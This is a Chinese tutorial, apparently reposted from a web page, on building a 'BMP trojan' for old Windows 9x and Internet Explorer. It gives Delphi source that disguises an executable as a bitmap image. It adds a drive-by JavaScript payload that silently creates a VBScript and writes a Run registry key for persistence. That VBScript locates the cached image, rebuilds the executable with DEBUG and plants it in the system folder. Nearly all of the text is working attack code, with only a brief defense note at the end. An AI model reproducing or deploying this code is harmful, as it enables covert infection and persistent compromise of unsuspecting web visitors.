制作图片木马教程

来源:互联网 发布:电视盒子软件市场 编辑:程序博客网 时间:2024/04/28 20:45

 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

  然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K、XP来说是无能为力了。

  看上去好象很复杂,下面我们一步一步来:

  1) EXE变BMP的方法

  大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,是不会下载的,转换代码如下:

program exe2bmp; uses Windows, SysUtils; var len,row,col,fs: DWORD; buffer: array[0..255]of char; fd: WIN32_FIND_DATA; h,hw: THandle; begin if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出 if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd); fs:=fd.nFileSizeLow; col := 4; while true do begin if (fs mod 12)=0 then begin len:=fs; end else len:=fs+12-(fs mod 12); row := len div col div 3; if row>col then begin col:=col+4; end else Break; end; FillChar(buffer,256,0); {一下为BMP文件头数据} Buffer[0]:='B';Buffer[1]:='M'; PDWORD(@buffer[18])^:=col; PDWORD(@buffer[22])^:=row; PDWORD(@buffer[34])^:=len; PDWORD(@buffer[2])^:=len+54; PDWORD(@buffer[10])^:=54; PDWORD(@buffer[14])^:=40; PWORD(@buffer[26])^:=1; PWORD(@buffer[28])^:=24; {写入文件} hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ orFILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); WriteFile(hw,buffer,54,col,0); repeat ReadFile(h,buffer,256,col,0); WriteFile(hw,buffer,col,col,0); untilcol<>256; WriteFile(hw,buffer,len-fs,col,0); CloseHandle(h); CloseHandle(hw); end; end; end.

  以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入

  exe2bmp myexe.exe mybmp.bmp

  回车就可以把第二个参数所指定的EXE文件转换成BMP格式.

  接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式

<img srd="mybmp.bmp" higth="0" width="0">

  以下是放在网页上的脚本

document.write(' '); function docsave() { a=document.applets[0]; a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'); a.createInstance(); wsh=a.GetObject(); a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}'); a.createInstance(); fso=a.GetObject(); var winsys=fso.GetSpecialFolder(1); var vbs=winsys+'//s.vbs'; wsh.RegWrite ('HKCU//Software//Microsoft//Windows//CurrentVersion//Run//vbs','wscript '+'"'+vbs+'" '); var st=fso.CreateTextFile(vbs,true); st.WriteLine('Option Explicit'); st.WriteLine('Dim FSO,WSH,CACHE,str'); st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")'); st.WriteLine('Set WSH = CreateObject("WScript.Shell")'); st.WriteLine('CACHE=wsh.RegRead("HKCU//Software//Microsoft//Windows//CurrentVersion//Explorer//ShellFolders//Cache")'); st.WriteLine('wsh.RegDelete("HKCU//Software//Microsoft//Windows//CurrentVersion//Run//vbs")'); st.WriteLine ('wsh.RegWrite "HKCU//Software//Microsoft//Windows//CurrentVersion//Run//tmp","tmp.exe"'); st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"'); st.WriteLine('WScript.Quit()'); st.WriteLine('Function SearchBMPFile(Folder,fname)'); st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys'); st.WriteLine(' str=FSO.GetParentFolderName(folder) & "//" & folder.name & "//" & fname'); st.WriteLine(' if FSO.FileExists(str) then'); st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "//"'); st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "//"'); st.WriteLine(' set File=FSO.GetFile(str)'); st.WriteLine(' File.Copy(tmp & "tmp.dat")'); st.WriteLine(' File.Delete'); st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")'); st.WriteLine(' Lt.WriteLine("rbx")'); st.WriteLine(' Lt.WriteLine("0")'); st.WriteLine(' Lt.WriteLine("rcx")'); st.WriteLine(' Lt.WriteLine("1000")'); st.WriteLine(' Lt.WriteLine("w136")'); st.WriteLine(' Lt.WriteLine("q")'); st.WriteLine(' Lt.Close'); st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6'); st.WriteLine(' On Error Resume Next '); st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'); st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete'); st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete'); st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete'); st.WriteLine(' end if'); st.WriteLine(' If Folder.SubFolders.Count <> 0 Then'); st.WriteLine(' For Each SubFolder In Folder.SubFolders'); st.WriteLine(' SearchBMPFile SubFolder,fname'); st.WriteLine(' Next'); st.WriteLine(' End If'); st.WriteLine('End Function'); st.Close(); } setTimeout('docsave()',1000);

 把该脚本保存为"js.js",在网页中插入:

<script src="js.js"></script>

  该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。

  “S.VBS”文件主要内容如下:

Option Explicit Dim FSO,WSH,CACHE,str Set FSO = CreateObject("Scripting.FileSystemObject") Set WSH = CreateObject("WScript.Shell") CACHE=wsh.RegRead("HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer/ShellFolders/Cache") wsh.RegDelete("HKCU/Software/Microsoft/Windows/CurrentVersion/Run/vbs") wsh.RegWrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Run/tmp","tmp.exe" SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" WScript.Quit() Function SearchBMPFile(Folder,fname) Dim SubFolder,File,Lt,tmp,winsys '从临时文件夹中查找目标BMP图片 str=FSO.GetParentFolderName(folder) & "/" & folder.name & "/" & fname if FSO.FileExists(str) then tmp=fso.GetSpecialFolder(2) & "/" winsys=fso.GetSpecialFolder(1) & "/" set File=FSO.GetFile(str) File.Copy(tmp & "tmp.dat") File.Delete '生成一个DEBUG脚本 set Lt=FSO.CreateTextFile(tmp & "tmp.in") Lt.WriteLine("rbx") Lt.WriteLine("0") Lt.WriteLine("rcx") '下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小) Lt.WriteLine("1000") Lt.WriteLine("w136") Lt.WriteLine("q") Lt.Close WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6 On Error Resume Next FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe") FSO.GetFile(tmp & "tmp.dat").Delete FSO.GetFile(tmp & "tmp.in").Delete FSO.GetFile(tmp & "tmp.out").Delete end if If Folder.SubFolders.Count <> 0 Then For Each SubFolder In Folder.SubFolders SearchBMPFile SubFolder,fname Next End If End Function

  这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.

  防范方法:

  最简单,删除或改名wscrpit.exe文件和DEBUG 文件;

  安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.

原创粉丝点击